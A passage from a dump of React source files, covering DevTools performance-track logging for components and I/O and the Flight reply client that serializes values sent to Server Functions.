 endTime: number,\n  childrenEndTime: number,\n  rootEnv: string,\n): void {\n  if (supportsUserTiming) {\n    const env = componentInfo.env;\n    const name = componentInfo.name;\n    const isPrimaryEnv = env === rootEnv;\n    const entryName =\n      isPrimaryEnv || env === undefined ? name : name + ' [' + env + ']';\n    const measureName = '\\u200b' + entryName;\n    if (__DEV__) {\n      const properties: Array<[string, string]> = [\n        [\n          'Aborted',\n          'The stream was aborted before this Component finished rendering.',\n        ],\n      ];\n      if (componentInfo.key != null) {\n        addValueToProperties('key', componentInfo.key, properties, 0, '');\n      }\n      if (componentInfo.props != null) {\n        addObjectToProperties(componentInfo.props, properties, 0, '');\n      }\n\n      performance.measure(measureName, {\n        start: startTime < 0 ? 0 : startTime,\n        end: childrenEndTime,\n        detail: {\n          devtools: {\n            color: 'warning',\n            track: trackNames[trackIdx],\n            trackGroup: COMPONENTS_TRACK,\n            tooltipText: entryName + ' Aborted',\n            properties,\n          },\n        },\n      });\n      performance.clearMeasures(measureName);\n    } else {\n      console.timeStamp(\n        measureName,\n        startTime < 0 ? 0 : startTime,\n        childrenEndTime,\n        trackNames[trackIdx],\n        COMPONENTS_TRACK,\n        'warning',\n      );\n    }\n  }\n}\n\nexport function logComponentErrored(\n  componentInfo: ReactComponentInfo,\n  trackIdx: number,\n  startTime: number,\n  endTime: number,\n  childrenEndTime: number,\n  rootEnv: string,\n  error: mixed,\n): void {\n  if (supportsUserTiming) {\n    const env = componentInfo.env;\n    const name = componentInfo.name;\n    const isPrimaryEnv = env === rootEnv;\n    const entryName =\n      isPrimaryEnv || env === undefined ? name : name + ' [' + env + ']';\n    const measureName = '\\u200b' + entryName;\n    if (__DEV__) {\n      const message =\n        typeof error === 'object' &&\n        error !== null &&\n        typeof error.message === 'string'\n          ? // eslint-disable-next-line react-internal/safe-string-coercion\n            String(error.message)\n          : // eslint-disable-next-line react-internal/safe-string-coercion\n            String(error);\n      const properties: Array<[string, string]> = [['Error', message]];\n      if (componentInfo.key != null) {\n        addValueToProperties('key', componentInfo.key, properties, 0, '');\n      }\n      if (componentInfo.props != null) {\n        addObjectToProperties(componentInfo.props, properties, 0, '');\n      }\n\n      performance.measure(measureName, {\n        start: startTime < 0 ? 0 : startTime,\n        end: childrenEndTime,\n        detail: {\n          devtools: {\n            color: 'error',\n            track: trackNames[trackIdx],\n            trackGroup: COMPONENTS_TRACK,\n            tooltipText: entryName + ' Errored',\n            properties,\n          },\n        },\n      });\n      performance.clearMeasures(measureName);\n    } else {\n      console.timeStamp(\n        measureName,\n        startTime < 0 ? 0 : startTime,\n        childrenEndTime,\n        trackNames[trackIdx],\n        COMPONENTS_TRACK,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logDedupedComponentRender(\n  componentInfo: ReactComponentInfo,\n  trackIdx: number,\n  startTime: number,\n  endTime: number,\n  rootEnv: string,\n): void {\n  if (supportsUserTiming && endTime >= 0 && trackIdx < 10) {\n    const env = componentInfo.env;\n    const name = componentInfo.name;\n    const isPrimaryEnv = env === rootEnv;\n    const color = isPrimaryEnv ? 'primary-light' : 'secondary-light';\n    const entryName = name + ' [deduped]';\n    const debugTask = componentInfo.debugTask;\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          entryName,\n          startTime < 0 ? 0 : startTime,\n          endTime,\n          trackNames[trackIdx],\n          COMPONENTS_TRACK,\n          color,\n        ),\n      );\n    } else {\n      console.timeStamp(\n        entryName,\n        startTime < 0 ? 0 : startTime,\n        endTime,\n        trackNames[trackIdx],\n        COMPONENTS_TRACK,\n        color,\n      );\n    }\n  }\n}\n\nfunction getIOColor(\n  functionName: string,\n): 'tertiary-light' | 'tertiary' | 'tertiary-dark' {\n  // Add some color variation to be able to distinguish various sources.\n  switch (functionName.charCodeAt(0) % 3) {\n    case 0:\n      return 'tertiary-light';\n    case 1:\n      return 'tertiary';\n    default:\n      return 'tertiary-dark';\n  }\n}\n\nfunction getIOLongName(\n  ioInfo: ReactIOInfo,\n  description: string,\n  env: void | string,\n  rootEnv: string,\n): string {\n  const name = ioInfo.name;\n  const longName = description === '' ? name : name + ' (' + description + ')';\n  const isPrimaryEnv = env === rootEnv;\n  return isPrimaryEnv || env === undefined\n    ? longName\n    : longName + ' [' + env + ']';\n}\n\nfunction getIOShortName(\n  ioInfo: ReactIOInfo,\n  description: string,\n  env: void | string,\n  rootEnv: string,\n): string {\n  const name = ioInfo.name;\n  const isPrimaryEnv = env === rootEnv;\n  const envSuffix = isPrimaryEnv || env === undefined ? '' : ' [' + env + ']';\n  let desc = '';\n  const descMaxLength = 30 - name.length - envSuffix.length;\n  if (descMaxLength > 1) {\n    const l = description.length;\n    if (l > 0 && l <= descMaxLength) {\n      // We can fit the full description\n      desc = ' (' + description + ')';\n    } else if (\n      description.startsWith('http://') ||\n      description.startsWith('https://') ||\n      description.startsWith('/')\n    ) {\n      // Looks like a URL. Let's see if we can extract something shorter.\n      // We don't have to do a full parse so let's try something cheaper.\n      let queryIdx = description.indexOf('?');\n      if (queryIdx === -1) {\n        queryIdx = description.length;\n      }\n      if (description.charCodeAt(queryIdx - 1) === 47 /* \"/\" */) {\n        // Ends with slash. Look before that.\n        queryIdx--;\n      }\n      const slashIdx = description.lastIndexOf('/', queryIdx - 1);\n      if (queryIdx - slashIdx < descMaxLength) {\n        // This may now be either the file name or the host.\n        // Include the slash to make it more obvious what we trimmed.\n        desc = ' (…' + description.slice(slashIdx, queryIdx) + ')';\n      } else {\n        // cut out the middle to not exceed the max length\n        const start = description.slice(slashIdx, slashIdx + descMaxLength / 2);\n        const end = description.slice(queryIdx - descMaxLength / 2, queryIdx);\n        desc = ' (' + (slashIdx > 0 ? '…' : '') + start + '…' + end + ')';\n      }\n    }\n  }\n  return name + desc + envSuffix;\n}\n\nexport function logComponentAwaitAborted(\n  asyncInfo: ReactAsyncInfo,\n  trackIdx: number,\n  startTime: number,\n  endTime: number,\n  rootEnv: string,\n): void {\n  if (supportsUserTiming && endTime > 0) {\n    const entryName =\n      'await ' + getIOShortName(asyncInfo.awaited, '', asyncInfo.env, rootEnv);\n    const debugTask = asyncInfo.debugTask || asyncInfo.awaited.debugTask;\n    if (__DEV__ && debugTask) {\n      const properties = [\n        ['Aborted', 'The stream was aborted before this Promise resolved.'],\n      ];\n      const tooltipText =\n        getIOLongName(asyncInfo.awaited, '', asyncInfo.env, rootEnv) +\n        ' Aborted';\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        performance.measure.bind(performance, entryName, {\n          start: startTime < 0 ? 0 : startTime,\n          end: endTime,\n          detail: {\n            devtools: {\n              color: 'warning',\n              track: trackNames[trackIdx],\n              trackGroup: COMPONENTS_TRACK,\n              properties,\n              tooltipText,\n            },\n          },\n        }),\n      );\n      performance.clearMeasures(entryName);\n    } else {\n      console.timeStamp(\n        entryName,\n        startTime < 0 ? 0 : startTime,\n        endTime,\n        trackNames[trackIdx],\n        COMPONENTS_TRACK,\n        'warning',\n      );\n    }\n  }\n}\n\nexport function logComponentAwaitErrored(\n  asyncInfo: ReactAsyncInfo,\n  trackIdx: number,\n  startTime: number,\n  endTime: number,\n  rootEnv: string,\n  error: mixed,\n): void {\n  if (supportsUserTiming && endTime > 0) {\n    const description = getIODescription(error);\n    const entryName =\n      'await ' +\n      getIOShortName(asyncInfo.awaited, description, asyncInfo.env, rootEnv);\n    const debugTask = asyncInfo.debugTask || asyncInfo.awaited.debugTask;\n    if (__DEV__ && debugTask) {\n      const message =\n        typeof error === 'object' &&\n        error !== null &&\n        typeof error.message === 'string'\n          ? // eslint-disable-next-line react-internal/safe-string-coercion\n            String(error.message)\n          : // eslint-disable-next-line react-internal/safe-string-coercion\n            String(error);\n      const properties = [['Rejected', message]];\n      const tooltipText =\n        getIOLongName(asyncInfo.awaited, description, asyncInfo.env, rootEnv) +\n        ' Rejected';\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        performance.measure.bind(performance, entryName, {\n          start: startTime < 0 ? 0 : startTime,\n          end: endTime,\n          detail: {\n            devtools: {\n              color: 'error',\n              track: trackNames[trackIdx],\n              trackGroup: COMPONENTS_TRACK,\n              properties,\n              tooltipText,\n            },\n          },\n        }),\n      );\n      performance.clearMeasures(entryName);\n    } else {\n      console.timeStamp(\n        entryName,\n        startTime < 0 ? 0 : startTime,\n        endTime,\n        trackNames[trackIdx],\n        COMPONENTS_TRACK,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logComponentAwait(\n  asyncInfo: ReactAsyncInfo,\n  trackIdx: number,\n  startTime: number,\n  endTime: number,\n  rootEnv: string,\n  value: mixed,\n): void {\n  if (supportsUserTiming && endTime > 0) {\n    const description = getIODescription(value);\n    const name = getIOShortName(\n      asyncInfo.awaited,\n      description,\n      asyncInfo.env,\n      rootEnv,\n    );\n    const entryName = 'await ' + name;\n    const color = getIOColor(name);\n    const debugTask = asyncInfo.debugTask || asyncInfo.awaited.debugTask;\n    if (__DEV__ && debugTask) {\n      const properties: Array<[string, string]> = [];\n      if (typeof value === 'object' && value !== null) {\n        addObjectToProperties(value, properties, 0, '');\n      } else if (value !== undefined) {\n        addValueToProperties('awaited value', value, properties, 0, '');\n      }\n      const tooltipText = getIOLongName(\n        asyncInfo.awaited,\n        description,\n        asyncInfo.env,\n        rootEnv,\n      );\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        performance.measure.bind(performance, entryName, {\n          start: startTime < 0 ? 0 : startTime,\n          end: endTime,\n          detail: {\n            devtools: {\n              color: color,\n              track: trackNames[trackIdx],\n              trackGroup: COMPONENTS_TRACK,\n              properties,\n              tooltipText,\n            },\n          },\n        }),\n      );\n      performance.clearMeasures(entryName);\n    } else {\n      console.timeStamp(\n        entryName,\n        startTime < 0 ? 0 : startTime,\n        endTime,\n        trackNames[trackIdx],\n        COMPONENTS_TRACK,\n        color,\n      );\n    }\n  }\n}\n\nexport function logIOInfoErrored(\n  ioInfo: ReactIOInfo,\n  rootEnv: string,\n  error: mixed,\n): void {\n  const startTime = ioInfo.start;\n  const endTime = ioInfo.end;\n  if (supportsUserTiming && endTime >= 0) {\n    const description = getIODescription(error);\n    const entryName = getIOShortName(ioInfo, description, ioInfo.env, rootEnv);\n    const debugTask = ioInfo.debugTask;\n    const measureName = '\\u200b' + entryName;\n    if (__DEV__ && debugTask) {\n      const message =\n        typeof error === 'object' &&\n        error !== null &&\n        typeof error.message === 'string'\n          ? // eslint-disable-next-line react-internal/safe-string-coercion\n            String(error.message)\n          : // eslint-disable-next-line react-internal/safe-string-coercion\n            String(error);\n      const properties = [['rejected with', message]];\n      const tooltipText =\n        getIOLongName(ioInfo, description, ioInfo.env, rootEnv) + ' Rejected';\n\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        performance.measure.bind(performance, measureName, {\n          start: startTime < 0 ? 0 : startTime,\n          end: endTime,\n          detail: {\n            devtools: {\n              color: 'error',\n              track: IO_TRACK,\n              properties,\n              tooltipText,\n            },\n          },\n        }),\n      );\n      performance.clearMeasures(measureName);\n    } else {\n      console.timeStamp(\n        measureName,\n        startTime < 0 ? 0 : startTime,\n        endTime,\n        IO_TRACK,\n        undefined,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logIOInfo(\n  ioInfo: ReactIOInfo,\n  rootEnv: string,\n  value: mixed,\n): void {\n  const startTime = ioInfo.start;\n  const endTime = ioInfo.end;\n  if (supportsUserTiming && endTime >= 0) {\n    const description = getIODescription(value);\n    const entryName = getIOShortName(ioInfo, description, ioInfo.env, rootEnv);\n    const color = getIOColor(entryName);\n    const debugTask = ioInfo.debugTask;\n    const measureName = '\\u200b' + entryName;\n    if (__DEV__ && debugTask) {\n      const properties: Array<[string, string]> = [];\n      if (typeof value === 'object' && value !== null) {\n        addObjectToProperties(value, properties, 0, '');\n      } else if (value !== undefined) {\n        addValueToProperties('Resolved', value, properties, 0, '');\n      }\n      const tooltipText = getIOLongName(\n        ioInfo,\n        description,\n        ioInfo.env,\n        rootEnv,\n      );\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        performance.measure.bind(performance, measureName, {\n          start: startTime < 0 ? 0 : startTime,\n          end: endTime,\n          detail: {\n            devtools: {\n              color: color,\n              track: IO_TRACK,\n              properties,\n              tooltipText,\n            },\n          },\n        }),\n      );\n      performance.clearMeasures(measureName);\n    } else {\n      console.timeStamp(\n        measureName,\n        startTime < 0 ? 0 : startTime,\n        endTime,\n        IO_TRACK,\n        undefined,\n        color,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightReplyClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  PendingThenable,\n  FulfilledThenable,\n  RejectedThenable,\n  ReactCustomFormAction,\n  ReactFunctionLocation,\n} from 'shared/ReactTypes';\nimport type {LazyComponent} from 'react/src/ReactLazy';\nimport type {TemporaryReferenceSet} from './ReactFlightTemporaryReferences';\n\nimport {\n  REACT_ELEMENT_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_CONTEXT_TYPE,\n  getIteratorFn,\n  ASYNC_ITERATOR,\n} from 'shared/ReactSymbols';\n\nimport {\n  describeObjectForErrorMessage,\n  isSimpleObject,\n  objectName,\n} from 'shared/ReactSerializationErrors';\n\nimport {writeTemporaryReference} from './ReactFlightTemporaryReferences';\n\nimport isArray from 'shared/isArray';\nimport getPrototypeOf from 'shared/getPrototypeOf';\n\nconst ObjectPrototype = Object.prototype;\n\nimport {\n  usedWithSSR,\n  checkEvalAvailabilityOnceDev,\n} from './ReactFlightClientConfig';\n\ntype ReactJSONValue =\n  | string\n  | boolean\n  | number\n  | null\n  | $ReadOnlyArray<ReactJSONValue>\n  | ReactServerObject;\n\nexport opaque type ServerReference<T> = T;\n\nexport type CallServerCallback = <A, T>(id: any, args: A) => Promise<T>;\n\nexport type EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type ServerReferenceId = any;\n\ntype ServerReferenceClosure = {\n  id: ServerReferenceId,\n  originalBind: Function,\n  bound: null | Thenable<Array<any>>,\n};\n\nconst knownServerReferences: WeakMap<Function, ServerReferenceClosure> =\n  new WeakMap();\n\n// Serializable values\nexport type ReactServerValue =\n  // References are passed by their value\n  | ServerReference<any>\n  // The rest are passed as is. Sub-types can be passed in but lose their\n  // subtype, so the receiver can only accept once of these.\n  | string\n  | boolean\n  | number\n  | null\n  | void\n  | bigint\n  | $AsyncIterable<ReactServerValue, ReactServerValue, void>\n  | $AsyncIterator<ReactServerValue, ReactServerValue, void>\n  | Iterable<ReactServerValue>\n  | Iterator<ReactServerValue>\n  | Array<ReactServerValue>\n  | Map<ReactServerValue, ReactServerValue>\n  | Set<ReactServerValue>\n  | FormData\n  | Date\n  | ReactServerObject\n  | Promise<ReactServerValue>; // Thenable<ReactServerValue>\n\ntype ReactServerObject = {+[key: string]: ReactServerValue};\n\nconst __PROTO__ = '__proto__';\n\nfunction serializeByValueID(id: number): string {\n  return '$' + id.toString(16);\n}\n\nfunction serializePromiseID(id: number): string {\n  return '$@' + id.toString(16);\n}\n\nfunction serializeServerReferenceID(id: number): string {\n  return '$h' + id.toString(16);\n}\n\nfunction serializeTemporaryReferenceMarker(): string {\n  return '$T';\n}\n\nfunction serializeFormDataReference(id: number): string {\n  return '$K' + id.toString(16);\n}\n\nfunction serializeNumber(number: number): string | number {\n  if (Number.isFinite(number)) {\n    if (number === 0 && 1 / number === -Infinity) {\n      return '$-0';\n    } else {\n      return number;\n    }\n  } else {\n    if (number === Infinity) {\n      return '$Infinity';\n    } else if (number === -Infinity) {\n      return '$-Infinity';\n    } else {\n      return '$NaN';\n    }\n  }\n}\n\nfunction serializeUndefined(): string {\n  return '$undefined';\n}\n\nfunction serializeDateFromDateJSON(dateJSON: string): string {\n  // JSON.stringify automatically calls Date.prototype.toJSON which calls toISOString.\n  // We need only tack on a $D prefix.\n  return '$D' + dateJSON;\n}\n\nfunction serializeBigInt(n: bigint): string {\n  return '$n' + n.toString(10);\n}\n\nfunction serializeMapID(id: number): string {\n  return '$Q' + id.toString(16);\n}\n\nfunction serializeSetID(id: number): string {\n  return '$W' + id.toString(16);\n}\n\nfunction serializeBlobID(id: number): string {\n  return '$B' + id.toString(16);\n}\n\nfunction serializeIteratorID(id: number): string {\n  return '$i' + id.toString(16);\n}\n\nfunction escapeStringValue(value: string): string {\n  if (value[0] === '$') {\n    // We need to escape $ prefixed strings since we use those to encode\n    // references to IDs and as special symbol values.\n    return '$' + value;\n  } else {\n    return value;\n  }\n}\n\ninterface Reference {}\n\nexport function processReply(\n  root: ReactServerValue,\n  formFieldPrefix: string,\n  temporaryReferences: void | TemporaryReferenceSet,\n  resolve: (string | FormData) => void,\n  reject: (error: mixed) => void,\n): (reason: mixed) => void {\n  let nextPartId = 1;\n  let pendingParts = 0;\n  let formData: null | FormData = null;\n  const writtenObjects: WeakMap<Reference, string> = new WeakMap();\n  let modelRoot: null | ReactServerValue = root;\n\n  if (__DEV__) {\n    // We use eval to create fake function stacks which includes Component stacks.\n    // A warning would be noise if you used Flight without Components and don't encounter\n    // errors. We're warning eagerly so that you configure your environment accordingly\n    // before you encounter an error.\n    checkEvalAvailabilityOnceDev();\n  }\n\n  function serializeTypedArray(\n    tag: string,\n    typedArray: $ArrayBufferView,\n  ): string {\n    const blob = new Blob([\n      // We should be able to pass the buffer straight through but Node < 18 treat\n      // multi-byte array blobs differently so we first convert it to single-byte.\n      new Uint8Array(\n        typedArray.buffer,\n        typedArray.byteOffset,\n        typedArray.byteLength,\n      ),\n    ]);\n    const blobId = nextPartId++;\n    if (formData === null) {\n      formData = new FormData();\n    }\n    formData.append(formFieldPrefix + blobId, blob);\n    return '$' + tag + blobId.toString(16);\n  }\n\n  function serializeBinaryReader(reader: any): string {\n    if (formData === null) {\n      // Upgrade to use FormData to allow us to stream this value.\n      formData = new FormData();\n    }\n    const data = formData;\n\n    pendingParts++;\n    const streamId = nextPartId++;\n\n    const buffer = [];\n\n    function progress(entry: {done: boolean, value: ReactServerValue, ...}) {\n      if (entry.done) {\n        const blobId = nextPartId++;\n        data.append(formFieldPrefix + blobId, new Blob(buffer));\n        data.append(\n          formFieldPrefix + streamId,\n          '\"$o' + blobId.toString(16) + '\"',\n        );\n        data.append(formFieldPrefix + streamId, 'C'); // Close signal\n        pendingParts--;\n        if (pendingParts === 0) {\n          resolve(data);\n        }\n      } else {\n        buffer.push(entry.value);\n        reader.read(new Uint8Array(1024)).then(progress, reject);\n      }\n    }\n    reader.read(new Uint8Array(1024)).then(progress, reject);\n\n    return '$r' + streamId.toString(16);\n  }\n\n  function serializeReader(reader: ReadableStreamReader): string {\n    if (formData === null) {\n      // Upgrade to use FormData to allow us to stream this value.\n      formData = new FormData();\n    }\n    const data = formData;\n\n    pendingParts++;\n    const streamId = nextPartId++;\n\n    function progress(entry: {done: boolean, value: ReactServerValue, ...}) {\n      if (entry.done) {\n        data.append(formFieldPrefix + streamId, 'C'); // Close signal\n        pendingParts--;\n        if (pendingParts === 0) {\n          resolve(data);\n        }\n      } else {\n        try {\n          // $FlowFixMe[incompatible-type]: While plain JSON can return undefined we never do here.\n          const partJSON: string = JSON.stringify(entry.value, resolveToJSON);\n          data.append(formFieldPrefix + streamId, partJSON);\n          reader.read().then(progress, reject);\n        } catch (x) {\n          reject(x);\n        }\n      }\n    }\n    reader.read().then(progress, reject);\n\n    return '$R' + streamId.toString(16);\n  }\n\n  function serializeReadableStream(stream: ReadableStream): string {\n    // Detect if this is a BYOB stream. BYOB streams should be able to be read as bytes on the\n    // receiving side. For binary streams, we serialize them as plain Blobs.\n    let binaryReader;\n    try {\n      // $FlowFixMe[extra-arg]: This argument is accepted.\n      binaryReader = stream.getReader({mode: 'byob'});\n    } catch (x) {\n      return serializeReader(stream.getReader());\n    }\n    return serializeBinaryReader(binaryReader);\n  }\n\n  function serializeAsyncIterable(\n    iterable: $AsyncIterable<ReactServerValue, ReactServerValue, void>,\n    iterator: $AsyncIterator<ReactServerValue, ReactServerValue, void>,\n  ): string {\n    if (formData === null) {\n      // Upgrade to use FormData to allow us to stream this value.\n      formData = new FormData();\n    }\n    const data = formData;\n\n    pendingParts++;\n    const streamId = nextPartId++;\n\n    // Generators/Iterators are Iterables but they're also their own iterator\n    // functions. If that's the case, we treat them as single-shot. Otherwise,\n    // we assume that this iterable might be a multi-shot and allow it to be\n    // iterated more than once on the receiving server.\n    const isIterator = iterable === iterator;\n\n    // There's a race condition between when the stream is aborted and when the promise\n    // resolves so we track whether we already aborted it to avoid writing twice.\n    function progress(\n      entry:\n        | {done: false, +value: ReactServerValue, ...}\n        | {done: true, +value: ReactServerValue, ...},\n    ) {\n      if (entry.done) {\n        if (entry.value === undefined) {\n          data.append(formFieldPrefix + streamId, 'C'); // Close signal\n        } else {\n          // Unlike streams, the last value may not be undefined. If it's not\n          // we outline it and encode a reference to it in the closing instruction.\n          try {\n            // $FlowFixMe[incompatible-type]: While plain JSON can return undefined we never do here.\n            const partJSON: string = JSON.stringify(entry.value, resolveToJSON);\n            data.append(formFieldPrefix + streamId, 'C' + partJSON); // Close signal\n          } catch (x) {\n            reject(x);\n            return;\n          }\n        }\n        pendingParts--;\n        if (pendingParts === 0) {\n          resolve(data);\n        }\n      } else {\n        try {\n          // $FlowFixMe[incompatible-type]: While plain JSON can return undefined we never do here.\n          const partJSON: string = JSON.stringify(entry.value, resolveToJSON);\n          data.append(formFieldPrefix + streamId, partJSON);\n          iterator.next().then(progress, reject);\n        } catch (x) {\n          reject(x);\n          return;\n        }\n      }\n    }\n\n    iterator.next().then(progress, reject);\n    return '$' + (isIterator ? 'x' : 'X') + streamId.toString(16);\n  }\n\n  function resolveToJSON(\n    this:\n      | {+[key: string | number]: ReactServerValue}\n      | $ReadOnlyArray<ReactServerValue>,\n    key: string,\n    value: ReactServerValue,\n  ): ReactJSONValue {\n    const parent = this;\n\n    if (__DEV__) {\n      if (key === __PROTO__) {\n        console.error(\n          'Expected not to serialize an object with own property `__proto__`. When parsed this property will be omitted.%s',\n          describeObjectForErrorMessage(parent, key),\n        );\n      }\n    }\n\n    // Make sure that `parent[key]` wasn't JSONified before `value` was passed to us\n    if (__DEV__) {\n      // $FlowFixMe[incompatible-use]\n      const originalValue = parent[key];\n      if (\n        typeof originalValue === 'object' &&\n        originalValue !== value &&\n        !(originalValue instanceof Date)\n      ) {\n        if (objectName(originalValue) !== 'Object') {\n          console.error(\n            'Only plain objects can be passed to Server Functions from the Client. ' +\n              '%s objects are not supported.%s',\n            objectName(originalValue),\n            describeObjectForErrorMessage(parent, key),\n          );\n        } else {\n          console.error(\n            'Only plain objects can be passed to Server Functions from the Client. ' +\n              'Objects with toJSON methods are not supported. Convert it manually ' +\n              'to a simple value before passing it to props.%s',\n            describeObjectForErrorMessage(parent, key),\n          );\n        }\n      }\n    }\n\n    if (value === null) {\n      return null;\n    }\n\n    if (typeof value === 'object') {\n      switch ((value: any).$$typeof) {\n        case REACT_ELEMENT_TYPE: {\n          if (temporaryReferences !== undefined && key.indexOf(':') === -1) {\n            // TODO: If the property name contains a colon, we don't dedupe. Escape instead.\n            const parentReference = writtenObjects.get(parent);\n            if (parentReference !== undefined) {\n              // If the parent has a reference, we can refer to this object indirectly\n              // through the property name inside that parent.\n              const reference = parentReference + ':' + key;\n              // Store this object so that the server can refer to it later in responses.\n              writeTemporaryReference(temporaryReferences, reference, value);\n              return serializeTemporaryReferenceMarker();\n            }\n          }\n          // This element is the root of a serializeModel call (e.g. JSX\n          // passed directly to encodeReply, or a promise that resolved to\n          // JSX). It was already registered as a temporary reference by\n          // serializeModel so we just need to emit the marker.\n          if (temporaryReferences !== undefined && modelRoot === value) {\n            modelRoot = null;\n            return serializeTemporaryReferenceMarker();\n          }\n          throw new Error(\n            'React Element cannot be passed to Server Functions from the Client without a ' +\n              'temporary reference set. Pass a TemporaryReferenceSet to the options.' +\n              (__DEV__ ? describeObjectForErrorMessage(parent, key) : ''),\n          );\n        }\n        case REACT_LAZY_TYPE: {\n          // Resolve lazy as if it wasn't here. In the future this will be encoded as a Promise.\n          const lazy: LazyComponent<any, any> = (value: any);\n          const payload = lazy._payload;\n          const init = lazy._init;\n          if (formData === null) {\n            // Upgrade to use FormData to allow us to stream this value.\n            formData = new FormData();\n          }\n          pendingParts++;\n          try {\n            const resolvedModel = init(payload);\n            // We always outline this as a separate part even though we could inline it\n            // because it ensures a more deterministic encoding.\n            const lazyId = nextPartId++;\n            const partJSON = serializeModel(resolvedModel, lazyId);\n            // $FlowFixMe[incompatible-type] We know it's not null because we assigned it above.\n            const data: FormData = formData;\n            data.append(formFieldPrefix + lazyId, partJSON);\n            return serializeByValueID(lazyId);\n          } catch (x) {\n            if (\n              typeof x === 'object' &&\n              x !== null &&\n              typeof x.then === 'function'\n            ) {\n              // Suspended\n              pendingParts++;\n              const lazyId = nextPartId++;\n              const thenable: Thenable<any> = (x: any);\n              const retry = function () {\n                // While the first promise resolved, its value isn't necessarily what we'll\n                // resolve into because we might suspend again.\n                try {\n                  const partJSON = serializeModel(value, lazyId);\n                  // $FlowFixMe[incompatible-type] We know it's not null because we assigned it above.\n                  const data: FormData = formData;\n                  data.append(formFieldPrefix + lazyId, partJSON);\n                  pendingParts--;\n                  if (pendingParts === 0) {\n                    resolve(data);\n                  }\n                } catch (reason) {\n                  reject(reason);\n                }\n              };\n              thenable.then(retry, retry);\n              return serializeByValueID(lazyId);\n            } else {\n              // In the future we could consider serializing this as an error\n              // that throws on the server instead.\n              reject(x);\n              return null;\n            }\n          } finally {\n            pendingParts--;\n          }\n        }\n      }\n\n      const existingReference = writtenObjects.get(value);\n\n      // $FlowFixMe[method-unbinding]\n      if (typeof value.then === 'function') {\n        if (existingReference !== undefined) {\n          if (modelRoot === value) {\n            // This is the ID we're currently emitting so we need to write it\n            // once but if we discover it again, we refer to it by id.\n            modelRoot = null;\n          } else {\n            // We've already emitted this as an outlined object, so we can\n            // just refer to that by its existing ID.\n            return existingReference;\n          }\n        }\n\n        // We assume that any object with a .then property is a \"Thenable\" type,\n        // or a Promise type. Either of which can be represented by a Promise.\n        if (formData === null) {\n          // Upgrade to use FormData to allow us to stream this value.\n          formData = new FormData();\n        }\n        pendingParts++;\n        const promiseId = nextPartId++;\n        const promiseReference = serializePromiseID(promiseId);\n        writtenObjects.set(value, promiseReference);\n        const thenable: Thenable<any> = (value: any);\n        thenable.then(\n          partValue => {\n            try {\n              const previousReference = writtenObjects.get(partValue);\n              let partJSON;\n              if (previousReference !== undefined) {\n                partJSON = JSON.stringify(previousReference);\n              } else {\n                partJSON = serializeModel(partValue, promiseId);\n              }\n              // $FlowFixMe[incompatible-type] We know it's not null because we assigned it above.\n              const data: FormData = formData;\n              data.append(formFieldPrefix + promiseId, partJSON);\n              pendingParts--;\n              if (pendingParts === 0) {\n                resolve(data);\n              }\n            } catch (reason) {\n              reject(reason);\n            }\n          },\n          // In the future we could consider serializing this as an error\n          // that throws on the server instead.\n          reject,\n        );\n        return promiseReference;\n      }\n\n      if (existingReference !== undefined) {\n        if (modelRoot === value) {\n          // This is the ID we're currently emitting so we need to write it\n          // once but if we discover it again, we refer to it by id.\n          modelRoot = null;\n        } else {\n          // We've already emitted this as an outlined object, so we can\n          // just refer to that by its existing ID.\n          return existingReference;\n        }\n      } else if (key.indexOf(':') === -1) {\n        // TODO: If the property name contains a colon, we don't dedupe. Escape instead.\n        const parentReference = writtenObjects.get(parent);\n        if (parentReference !== undefined) {\n          // If the parent has a reference, we can refer to this object indirectly\n          // through the property name inside that parent.\n          const reference = parentReference + ':' + key;\n          writtenObjects.set(value, reference);\n          if (temporaryReferences !== undefined) {\n            // Store this object so that the server can refer to it later in responses.\n            writeTemporaryReference(temporaryReferences, reference, value);\n          }\n        }\n      }\n\n      if (isArray(value)) {\n        // $FlowFixMe[incompatible-return]\n        return value;\n      }\n      // TODO: Should we the Object.prototype.toString.call() to test for cross-realm objects?\n      if (value instanceof FormData) {\n        if (formData === null) {\n          // Upgrade to use FormData to allow us to use rich objects as its values.\n          formData = new FormData();\n        }\n        const data: FormData = formData;\n        const refId = nextPartId++;\n        // Copy all the form fields with a prefix for this reference.\n        // These must come first in the form order because we assume that all the\n        // fields are available before this is referenced.\n        const prefix = formFieldPrefix + refId + '_';\n        // $FlowFixMe[prop-missing]: FormData has forEach.\n        value.forEach((originalValue: string | File, originalKey: string) => {\n          // $FlowFixMe[incompatible-call]\n          data.append(prefix + originalKey, originalValue);\n        });\n        return serializeFormDataReference(refId);\n      }\n      if (value instanceof Map) {\n        const mapId = nextPartId++;\n        const partJSON = serializeModel(Array.from(value), mapId);\n        if (formData === null) {\n          formData = new FormData();\n        }\n        formData.append(formFieldPrefix + mapId, partJSON);\n        return serializeMapID(mapId);\n      }\n      if (value instanceof Set) {\n        const setId = nextPartId++;\n        const partJSON = serializeModel(Array.from(value), setId);\n        if (formData === null) {\n          formData = new FormData();\n        }\n        formData.append(formFieldPrefix + setId, partJSON);\n        return serializeSetID(setId);\n      }\n\n      if (value instanceof ArrayBuffer) {\n        const blob = new Blob([value]);\n        const blobId = nextPartId++;\n        if (formData === null) {\n          formData = new FormData();\n        }\n        formData.append(formFieldPrefix + blobId, blob);\n        return '$' + 'A' + blobId.toString(16);\n      }\n      if (value instanceof Int8Array) {\n        // char\n        return serializeTypedArray('O', value);\n      }\n      if (value instanceof Uint8Array) {\n        // unsigned char\n        return serializeTypedArray('o', value);\n      }\n      if (value instanceof Uint8ClampedArray) {\n        // unsigned clamped char\n        return 